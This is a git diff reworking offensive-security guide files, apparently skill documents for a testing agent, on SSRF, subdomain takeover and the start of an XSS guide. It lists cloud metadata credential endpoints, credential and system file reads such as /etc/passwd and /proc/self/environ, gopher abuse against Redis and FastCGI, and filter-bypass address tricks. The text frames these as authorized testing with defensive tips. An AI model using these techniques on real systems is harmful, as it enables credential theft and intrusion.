- ECS/EKS task credentials: `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`
|
||||||
|
|
||||||
### Gcp
|
### GCP
|
||||||
|
|
||||||
- Endpoint: http://metadata.google.internal/computeMetadata/v1/
|
- Endpoint: `http://metadata.google.internal/computeMetadata/v1/`
|
||||||
- Required header: `Metadata-Flavor: Google`
|
- Required header: `Metadata-Flavor: Google`
|
||||||
- Target: `/instance/service-accounts/default/token`
|
- Target: `/instance/service-accounts/default/token`
|
||||||
|
|
||||||
### Azure
|
### Azure
|
||||||
|
|
||||||
- Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
- Endpoint: `http://169.254.169.254/metadata/instance?api-version=2021-02-01`
|
||||||
- Required header: `Metadata: true`
|
- Required header: `Metadata: true`
|
||||||
- MSI OAuth: `/metadata/identity/oauth2/token`
|
- MSI OAuth: `/metadata/identity/oauth2/token`
|
||||||
|
|
||||||
### Kubernetes
|
### Kubernetes
|
||||||
|
|
||||||
- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe `/pods`, `/metrics`, exec/attach endpoints
|
- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only)
|
||||||
- API server: https://kubernetes.default.svc/. Authorization often needs the service account token; SSRF that propagates headers/cookies may reuse them
|
- Probe `/pods`, `/metrics`, exec/attach endpoints
|
||||||
- Service discovery: attempt cluster DNS names (svc.cluster.local) and default services (kube-dns, metrics-server)
|
- API server: `https://kubernetes.default.svc/`
|
||||||
|
- Authorization often needs service account token; SSRF that propagates headers/cookies may reuse them
|
||||||
|
- Service discovery: attempt cluster DNS names (`svc.cluster.local`) and default services (kube-dns, metrics-server)
|
||||||
|
|
||||||
## Internal Targets
|
### Internal Services
|
||||||
|
|
||||||
- Docker API: http://localhost:2375/v1.24/containers/json (no TLS variants often internal-only)
|
- Docker API: `http://localhost:2375/v1.24/containers/json` (no TLS variants often internal-only)
|
||||||
- Redis/Memcached: dict://localhost:11211/stat, gopher payloads to Redis on 6379
|
- Redis/Memcached: `dict://localhost:11211/stat`, gopher payloads to Redis on 6379
|
||||||
- Elasticsearch/OpenSearch: http://localhost:9200/_cat/indices
|
- Elasticsearch/OpenSearch: `http://localhost:9200/_cat/indices`
|
||||||
- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
|
- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
|
||||||
- FastCGI/PHP-FPM: gopher://localhost:9000/ (craft records for file write/exec when app routes to FPM)
|
- FastCGI/PHP-FPM: `gopher://localhost:9000/` (craft records for file write/exec when app routes to FPM)
|
||||||
|
|
||||||
## Protocol Exploitation
|
## Key Vulnerabilities
|
||||||
|
|
||||||
### Gopher
|
### Protocol Exploitation
|
||||||
|
|
||||||
- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI). Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
|
**Gopher**
|
||||||
|
- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI)
|
||||||
|
- Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
|
||||||
|
|
||||||
### File And Wrappers
|
**File and Wrappers**
|
||||||
|
- `file:///etc/passwd`, `file:///proc/self/environ` when libraries allow file handlers
|
||||||
|
- `jar:`, `netdoc:`, `smb://` and language-specific wrappers (`php://`, `expect://`) where enabled
|
||||||
|
|
||||||
- file:///etc/passwd, file:///proc/self/environ when libraries allow file handlers
|
### Address Variants
|
||||||
- jar:, netdoc:, smb:// and language-specific wrappers (php://, expect://) where enabled
|
|
||||||
|
|
||||||
### Parser And Filter Bypasses
|
- Loopback: `127.0.0.1`, `127.1`, `2130706433`, `0x7f000001`, `::1`, `[::ffff:127.0.0.1]`
|
||||||
|
- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16
|
||||||
|
- Test IPv6-mapped and mixed-notation forms
|
||||||
|
|
||||||
#### Address Variants
|
### URL Confusion
|
||||||
|
|
||||||
- Loopback: 127.0.0.1, 127.1, 2130706433, 0x7f000001, ::1, [::ffff:127.0.0.1]
|
- Userinfo and fragments: `http://internal@attacker/` or `http://attacker#@internal/`
|
||||||
- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16; test IPv6-mapped and mixed-notation forms
|
- Scheme-less/relative forms the server might complete internally: `//169.254.169.254/`
|
||||||
|
- Trailing dots and mixed case: `internal.` vs `INTERNAL`, Unicode dot lookalikes
|
||||||
|
|
||||||
#### Url Confusion
|
### Redirect Abuse
|
||||||
|
|
||||||
- Userinfo and fragments: http://internal@attacker/ or http://attacker#@internal/
|
- Allowlist only applied pre-redirect: 302 from attacker → internal host
|
||||||
- Scheme-less/relative forms the server might complete internally: //169.254.169.254/
|
- Test multi-hop and protocol switches (http→file/gopher via custom clients)
|
||||||
- Trailing dots and mixed case: internal. vs INTERNAL, Unicode dot lookalikes
|
|
||||||
|
|
||||||
#### Redirect Behavior
|
### Header and Method Control
|
||||||
|
|
||||||
- Allowlist only applied pre-redirect: 302 from attacker → internal host. Test multi-hop and protocol switches (http→file/gopher via custom clients)
|
- Some sinks reflect or allow CRLF-injection into the request line/headers
|
||||||
|
- If arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
|
||||||
|
|
||||||
#### Header And Method Control
|
## Bypass Techniques
|
||||||
|
|
||||||
- Some sinks reflect or allow CRLF-injection into the request line/headers; if arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
|
**Address Encoding**
|
||||||
|
- Decimal, hex, octal representations of IP addresses
|
||||||
|
- IPv6 variants, IPv4-mapped IPv6, mixed notation
|
||||||
|
|
||||||
#### Blind And Mapping
|
**DNS Rebinding**
|
||||||
|
- First resolution returns allowed IP, second returns internal target
|
||||||
|
- Use short TTL DNS records under attacker control
|
||||||
|
|
||||||
- Use OAST (DNS/HTTP) to confirm egress. Derive internal reachability from timing, response size, TLS errors, and ETag differences
|
**URL Parser Differentials**
|
||||||
|
- Different parsing between allowlist checker and actual fetcher
|
||||||
|
- Exploit inconsistencies in scheme, host, port, path handling
|
||||||
|
|
||||||
|
**Redirect Chains**
|
||||||
|
- Initial URL passes allowlist, redirect targets internal host
|
||||||
|
- Protocol downgrade/upgrade through redirects
|
||||||
|
|
||||||
|
## Blind SSRF
|
||||||
|
|
||||||
|
- Use OAST (DNS/HTTP) to confirm egress
|
||||||
|
- Derive internal reachability from timing, response size, TLS errors, and ETag differences
|
||||||
- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
|
- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
|
||||||
|
|
||||||
#### Chaining
|
## Chaining Attacks
|
||||||
|
|
||||||
- SSRF → Metadata creds → cloud API access (list buckets, read secrets)
|
- SSRF → Metadata creds → cloud API access (list buckets, read secrets)
|
||||||
- SSRF → Redis/FCGI/Docker → file write/command execution → shell
|
- SSRF → Redis/FCGI/Docker → file write/command execution → shell
|
||||||
- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral
|
- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral movement
|
||||||
|
|
||||||
#### Validation
|
## Testing Methodology
|
||||||
|
|
||||||
1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences).
|
1. **Identify surfaces** - Every user-influenced URL/host/path across web/mobile/API and background jobs
|
||||||
2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service.
|
2. **Establish oracle** - Quiet OAST DNS/HTTP callbacks first
|
||||||
3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read.
|
3. **Internal addressing** - Pivot to loopback, RFC1918, link-local, IPv6, hostnames
|
||||||
4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior.
|
4. **Protocol variations** - Test gopher, file, dict where supported
|
||||||
|
5. **Parser differentials** - Test across frameworks, CDNs, and language libraries
|
||||||
|
6. **Redirect behavior** - Single-hop, multi-hop, protocol switches
|
||||||
|
7. **Header/method control** - Can you influence request headers or HTTP method?
|
||||||
|
8. **High-value targets** - Metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels
|
||||||
|
|
||||||
#### False Positives
|
## Validation
|
||||||
|
|
||||||
|
1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences)
|
||||||
|
2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service
|
||||||
|
3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read
|
||||||
|
4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
- Client-side fetches only (no server request)
|
- Client-side fetches only (no server request)
|
||||||
- Strict allowlists with DNS pinning and no redirect following
|
- Strict allowlists with DNS pinning and no redirect following
|
||||||
- SSRF simulators/mocks returning canned responses without real egress
|
- SSRF simulators/mocks returning canned responses without real egress
|
||||||
- Blocked egress confirmed by uniform errors across all targets and protocols
|
- Blocked egress confirmed by uniform errors across all targets and protocols
|
||||||
|
|
||||||
#### Impact
|
## Impact
|
||||||
|
|
||||||
- Cloud credential disclosure with subsequent control-plane/API access
|
- Cloud credential disclosure with subsequent control-plane/API access
|
||||||
- Access to internal control panels and data stores not exposed publicly
|
- Access to internal control panels and data stores not exposed publicly
|
||||||
- Lateral movement into Kubernetes, service meshes, and CI/CD
|
- Lateral movement into Kubernetes, service meshes, and CI/CD
|
||||||
- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
|
- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
|
||||||
|
|
||||||
#### Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Prefer OAST callbacks first; then iterate on internal addressing and protocols.
|
1. Prefer OAST callbacks first; then iterate on internal addressing and protocols
|
||||||
2. Test IPv6 and mixed-notation addresses; filters often ignore them.
|
2. Test IPv6 and mixed-notation addresses; filters often ignore them
|
||||||
3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs.
|
3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs
|
||||||
4. Redirects are leverage: control both the initial allowlisted host and the next hop.
|
4. Redirects are leverage: control both the initial allowlisted host and the next hop
|
||||||
5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them for you.
|
5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them
|
||||||
6. Use tiny payloads and tight timeouts to map ports with minimal noise.
|
6. Use tiny payloads and tight timeouts to map ports with minimal noise
|
||||||
7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability.
|
7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability
|
||||||
8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there.
|
8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there
|
||||||
|
|
||||||
#### Remember
|
## Summary
|
||||||
|
|
||||||
Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.
|
Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.
|
||||||
|
|||||||
@@ -1,157 +1,158 @@
|
|||||||
# SUBDOMAIN TAKEOVER
|
---
|
||||||
|
name: subdomain-takeover
|
||||||
|
description: Subdomain takeover testing for dangling DNS records and unclaimed cloud resources
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Subdomain Takeover
|
||||||
|
|
||||||
Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
|
Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
|
- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
|
||||||
- Orphaned NS delegations (child zones with abandoned/expired nameservers)
|
- Orphaned NS delegations (child zones with abandoned/expired nameservers)
|
||||||
- Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
|
- Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
|
||||||
- CDN “alternate domain” mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
|
- CDN "alternate domain" mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
|
||||||
- Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
|
- Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
|
||||||
|
|
||||||
## Methodology
|
## Reconnaissance
|
||||||
|
|
||||||
1. Enumerate subdomains comprehensively (web, API, mobile, legacy): aggregate CT logs, passive DNS, and org inventory. De-duplicate and normalize.
|
|
||||||
2. Resolve DNS for all RR types: A/AAAA, CNAME, NS, MX, TXT. Keep CNAME chains; record terminal CNAME targets and provider hints.
|
|
||||||
3. HTTP/TLS probe: capture status, body, length, canonical error text, Server/alt-svc headers, certificate SANs, and CDN headers (Via, X-Served-By).
|
|
||||||
4. Fingerprint providers: map known “unclaimed/missing resource” signatures to candidate services. Maintain a living dictionary.
|
|
||||||
5. Attempt claim (only with authorization): create the missing resource on the provider with the exact required name; bind the custom domain if the provider allows.
|
|
||||||
6. Validate control: serve a minimal unique payload; confirm over HTTPS; optionally obtain a DV certificate (CT log evidence) within legal scope.
|
|
||||||
|
|
||||||
## Discovery Techniques
|
|
||||||
|
|
||||||
### Enumeration Pipeline
|
### Enumeration Pipeline
|
||||||
|
|
||||||
- Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs, mobile app assets, and historical DNS
|
- Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs
|
||||||
- Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx responses
|
- Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx
|
||||||
- Record graph: build a CNAME graph and collapse chains to identify external endpoints (e.g., myapp.example.com → foo.azurewebsites.net)
|
- Record graph: build a CNAME graph and collapse chains to identify external endpoints
|
||||||
|
|
||||||
### Dns Indicators
|
### DNS Indicators
|
||||||
|
|
||||||
- CNAME targets ending in provider domains: github.io, amazonaws.com, cloudfront.net, azurewebsites.net, blob.core.windows.net, fastly.net, vercel.app, netlify.app, herokudns.com, trafficmanager.net, azureedge.net, akamaized.net
|
- CNAME targets ending in provider domains: `github.io`, `amazonaws.com`, `cloudfront.net`, `azurewebsites.net`, `blob.core.windows.net`, `fastly.net`, `vercel.app`, `netlify.app`, `herokudns.com`, `trafficmanager.net`, `azureedge.net`, `akamaized.net`
|
||||||
- Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers; or to inexistent NS hosts
|
- Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers
|
||||||
- MX to third-party mail providers with decommissioned domains (risk: mail subdomain control or delivery manipulation)
|
- MX to third-party mail providers with decommissioned domains
|
||||||
- TXT/verification artifacts (asuid, _dnsauth, _github-pages-challenge) suggesting previous external bindings
|
- TXT/verification artifacts (`asuid`, `_dnsauth`, `_github-pages-challenge`) suggesting previous external bindings
|
||||||
|
|
||||||
### Http Fingerprints
|
### HTTP Fingerprints
|
||||||
|
|
||||||
- Service-specific unclaimed messages (examples, not exhaustive):
|
Service-specific unclaimed messages (examples):
|
||||||
- GitHub Pages: “There isn’t a GitHub Pages site here.”
|
- **GitHub Pages**: "There isn't a GitHub Pages site here."
|
||||||
- Fastly: “Fastly error: unknown domain”
|
- **Fastly**: "Fastly error: unknown domain"
|
||||||
- Heroku: “No such app” or “There’s nothing here, yet.”
|
- **Heroku**: "No such app" or "There's nothing here, yet."
|
||||||
- S3 static site: “NoSuchBucket” / “The specified bucket does not exist”
|
- **S3 static site**: "NoSuchBucket" / "The specified bucket does not exist"
|
||||||
- CloudFront (alt domain not configured): 403/400 with “The request could not be satisfied” and no matching distribution
|
- **CloudFront**: 403/400 with "The request could not be satisfied"
|
||||||
- Azure App Service: default 404 for azurewebsites.net unless custom-domain verified (look for asuid TXT requirement)
|
- **Azure App Service**: default 404 for azurewebsites.net unless custom-domain verified
|
||||||
- Shopify: “Sorry, this shop is currently unavailable”
|
- **Shopify**: "Sorry, this shop is currently unavailable"
|
||||||
- TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain indicates potential mis-binding
|
|
||||||
|
|
||||||
## Exploitation Techniques
|
TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain
|
||||||
|
|
||||||
### Claim Third Party Resource
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Claim Third-Party Resource
|
||||||
|
|
||||||
- Create the resource with the exact required name:
|
- Create the resource with the exact required name:
|
||||||
- Storage/hosting: S3 bucket “sub.example.com” (website endpoint) or bucket named after the CNAME target if provider dictates
|
- Storage/hosting: S3 bucket "sub.example.com" (website endpoint)
|
||||||
- Pages hosting: create repo/site and add the custom domain (when provider does not enforce prior domain verification)
|
- Pages hosting: create repo/site and add the custom domain
|
||||||
- Serverless/app hosting: create app/site matching the target hostname, then add custom domain mapping
|
- Serverless/app hosting: create app/site matching the target hostname
|
||||||
- Bind the custom domain: some providers require TXT verification (modern hardened path), others historically allowed binding without proof
|
|
||||||
|
|
||||||
### Cdn Alternate Domains
|
### CDN Alternate Domains
|
||||||
|
|
||||||
- Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
|
- Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
|
||||||
- Upload a TLS cert via provider or use managed cert issuance if allowed; confirm 200 on the subdomain with your content
|
- Upload a TLS cert or use managed cert issuance
|
||||||
|
|
||||||
### Ns Delegation Takeover
|
### NS Delegation Takeover
|
||||||
|
|
||||||
- If a child zone (e.g., zone.example.com) is delegated to nameservers under an expired domain (ns1.abandoned.tld), register abandoned.tld and host authoritative NS; publish records to control all hosts under the delegated subzone
|
- If a child zone is delegated to nameservers under an expired domain, register that domain and host authoritative NS
|
||||||
- Validate with SOA/NS queries and serve a verification token; then add A/CNAME/MX/TXT as needed
|
- Publish records to control all hosts under the delegated subzone
|
||||||
|
|
||||||
### Mail Surface
|
### Mail Surface
|
||||||
|
|
||||||
- If MX points to a decommissioned provider that allowed inbox creation without domain re-verification (historically), a takeover could enable email receipt for that subdomain; modern providers generally require explicit TXT ownership
|
- If MX points to a decommissioned provider, takeover could enable email receipt for that subdomain
|
||||||
|
|
||||||
## Advanced Techniques
|
## Advanced Techniques
|
||||||
|
|
||||||
### Blind And Cache Channels
|
### Blind and Cache Channels
|
||||||
|
|
||||||
- CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured; probe with Host header manipulation
|
- CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured
|
||||||
- Cache poisoning: once taken over, exploit cache keys and Vary headers to persist malicious responses at the edge
|
- Cache poisoning: once taken over, exploit cache keys to persist malicious responses
|
||||||
|
|
||||||
### Ct And Tls
|
### CT and TLS
|
||||||
|
|
||||||
- Use CT logs to detect unexpected certificate issuance for your subdomain; for PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
|
- Use CT logs to detect unexpected certificate issuance for your subdomain
|
||||||
|
- For PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
|
||||||
|
|
||||||
### Oauth And Trust Chains
|
### OAuth and Trust Chains
|
||||||
|
|
||||||
- If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, a takeover elevates impact to account takeover or script injection on trusted origins
|
- If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, takeover elevates to account takeover or script injection
|
||||||
|
|
||||||
### Provider Edges
|
|
||||||
|
|
||||||
- Many providers hardened domain binding (TXT verification) but legacy projects or specific products remain weak; verify per-product behavior (CDN vs app hosting vs storage)
|
|
||||||
- Multi-tenant providers sometimes accept custom domains at the edge even when backend resource is missing; leverage timing and registration windows
|
|
||||||
|
|
||||||
## Bypass Techniques
|
|
||||||
|
|
||||||
### Verification Gaps
|
### Verification Gaps
|
||||||
|
|
||||||
- Look for providers that accept domain binding prior to TXT verification, or where verification is optional for trial/legacy tiers
|
- Look for providers that accept domain binding prior to TXT verification
|
||||||
- Race windows: re-claim resource names immediately after victim deletion while DNS still points to provider
|
- Race windows: re-claim resource names immediately after victim deletion
|
||||||
|
|
||||||
### Wildcards And Fallbacks
|
### Wildcards and Fallbacks
|
||||||
|
|
||||||
- Wildcard CNAMEs to providers may expose unbounded subdomains; test random hosts to identify service-wide unclaimed behavior
|
- Wildcard CNAMEs to providers may expose unbounded subdomains
|
||||||
- Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses from a default origin that is claimable
|
- Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses
|
||||||
|
|
||||||
## Special Contexts
|
## Special Contexts
|
||||||
|
|
||||||
### Storage And Static
|
### Storage and Static
|
||||||
|
|
||||||
- S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname; website vs API endpoints differ in claimability and fingerprints
|
- S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname
|
||||||
|
- Website vs API endpoints differ in claimability and fingerprints
|
||||||
|
|
||||||
### Serverless And Hosting
|
### Serverless and Hosting
|
||||||
|
|
||||||
- GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary; most require TXT now, but historical projects or specific paths may not
|
- GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary
|
||||||
|
- Most require TXT now, but historical projects may not
|
||||||
|
|
||||||
### Cdn And Edge
|
### CDN and Edge
|
||||||
|
|
||||||
- CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs; some products historically allowed alt-domain claims without proof
|
- CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs
|
||||||
|
- Some products historically allowed alt-domain claims without proof
|
||||||
|
|
||||||
### Dns Delegations
|
### DNS Delegations
|
||||||
|
|
||||||
- Child-zone NS delegations outrank parent records; control of delegated NS yields full control of all hosts below that label
|
- Child-zone NS delegations outrank parent records
|
||||||
|
- Control of delegated NS yields full control of all hosts below that label
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Enumerate subdomains** - Aggregate CT logs, passive DNS, and org inventory
|
||||||
|
2. **Resolve DNS** - All RR types: A/AAAA, CNAME, NS, MX, TXT; keep CNAME chains
|
||||||
|
3. **HTTP/TLS probe** - Capture status, body, error text, Server headers, certificate SANs
|
||||||
|
4. **Fingerprint providers** - Map known "unclaimed/missing resource" signatures
|
||||||
|
5. **Attempt claim** (with authorization) - Create missing resource with exact required name
|
||||||
|
6. **Validate control** - Serve minimal unique payload; confirm over HTTPS
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details.
|
1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details
|
||||||
2. After claim: serve unique content and verify over HTTPS at the target subdomain.
|
2. After claim: serve unique content and verify over HTTPS at the target subdomain
|
||||||
3. Optional: issue a DV certificate (legal scope) and reference CT entry as durable evidence.
|
3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence
|
||||||
4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping) with minimal PoCs.
|
4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping)
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
- “Unknown domain” pages that are not claimable due to enforced TXT/ownership checks.
|
- "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks
|
||||||
- Provider-branded default pages for valid, owned resources (not a takeover) versus “unclaimed resource” states
|
- Provider-branded default pages for valid, owned resources (not a takeover)
|
||||||
- Soft 404s from your own infrastructure or catch-all vhosts
|
- Soft 404s from your own infrastructure or catch-all vhosts
|
||||||
|
|
||||||
## Impact
|
## Impact
|
||||||
|
|
||||||
- Content injection under trusted subdomain: phishing, malware delivery, brand damage
|
- Content injection under trusted subdomain: phishing, malware delivery, brand damage
|
||||||
- Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins in CORS/Trusted Types/CSP
|
- Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins
|
||||||
- OAuth/SSO abuse via whitelisted redirect URIs
|
- OAuth/SSO abuse via whitelisted redirect URIs
|
||||||
- Email delivery manipulation for subdomain (MX/DMARC/SPF interactions in edge cases)
|
- Email delivery manipulation for subdomain
|
||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims.
|
1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims
|
||||||
2. Maintain a current fingerprint corpus; provider messages change frequently—prefer regex families over exact strings.
|
2. Maintain a current fingerprint corpus; provider messages change frequently
|
||||||
3. Prefer minimal PoCs: static “ownership proof” page and, where allowed, DV cert issuance for auditability.
|
3. Prefer minimal PoCs: static "ownership proof" page and, where allowed, DV cert issuance
|
||||||
4. Monitor CT for unexpected certs on your subdomains; alert and investigate.
|
4. Monitor CT for unexpected certs on your subdomains
|
||||||
5. Eliminate dangling DNS in decommission workflows first; deletion of the app/service must remove or block the DNS target.
|
5. Eliminate dangling DNS in decommission workflows first
|
||||||
6. For NS delegations, treat any expired nameserver domain as critical; reassign or remove delegation immediately.
|
6. For NS delegations, treat any expired nameserver domain as critical
|
||||||
7. Use CAA to limit certificate issuance while you triage; it reduces the blast radius for taken-over hosts.
|
7. Use CAA to limit certificate issuance while you triage
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.
|
Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.
|
||||||
|
|||||||
@@ -1,174 +1,206 @@
|
|||||||
# CROSS-SITE SCRIPTING (XSS)
|
---
|
||||||
|
name: xss
|
||||||
|
description: XSS testing covering reflected, stored, and DOM-based vectors with CSP bypass techniques
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# XSS
|
||||||
|
|
||||||
XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
|
Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
|
**Types**
|
||||||
- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
|
- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
|
||||||
- Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
|
|
||||||
- Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR
|
|
||||||
- CSP/Trusted Types interactions, bypasses, and gadget-based execution
|
|
||||||
|
|
||||||
## Methodology
|
**Contexts**
|
||||||
|
- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
|
||||||
|
|
||||||
1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks.
|
**Frameworks**
|
||||||
2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject.
|
- React/Vue/Angular/Svelte sinks, template engines, SSR/ISR
|
||||||
3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping.
|
|
||||||
4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert.
|
**Defenses to Bypass**
|
||||||
|
- CSP/Trusted Types, DOMPurify, framework auto-escaping
|
||||||
|
|
||||||
## Injection Points
|
## Injection Points
|
||||||
|
|
||||||
- Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
|
**Server Render**
|
||||||
- Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
|
- Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
|
||||||
- URL/DOM: location.hash/search, document.referrer, base href, data-* attributes
|
|
||||||
- Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers
|
|
||||||
- Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
|
|
||||||
- File/metadata: image/SVG/XML names and EXIF, office documents processed server/client
|
|
||||||
|
|
||||||
## Context Rules
|
**Client Render**
|
||||||
|
- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, template literals
|
||||||
|
- `dangerouslySetInnerHTML`, `v-html`, `$sce.trustAsHtml`, Svelte `{@html}`
|
||||||
|
|
||||||
- HTML text: encode < > & " '
|
**URL/DOM**
|
||||||
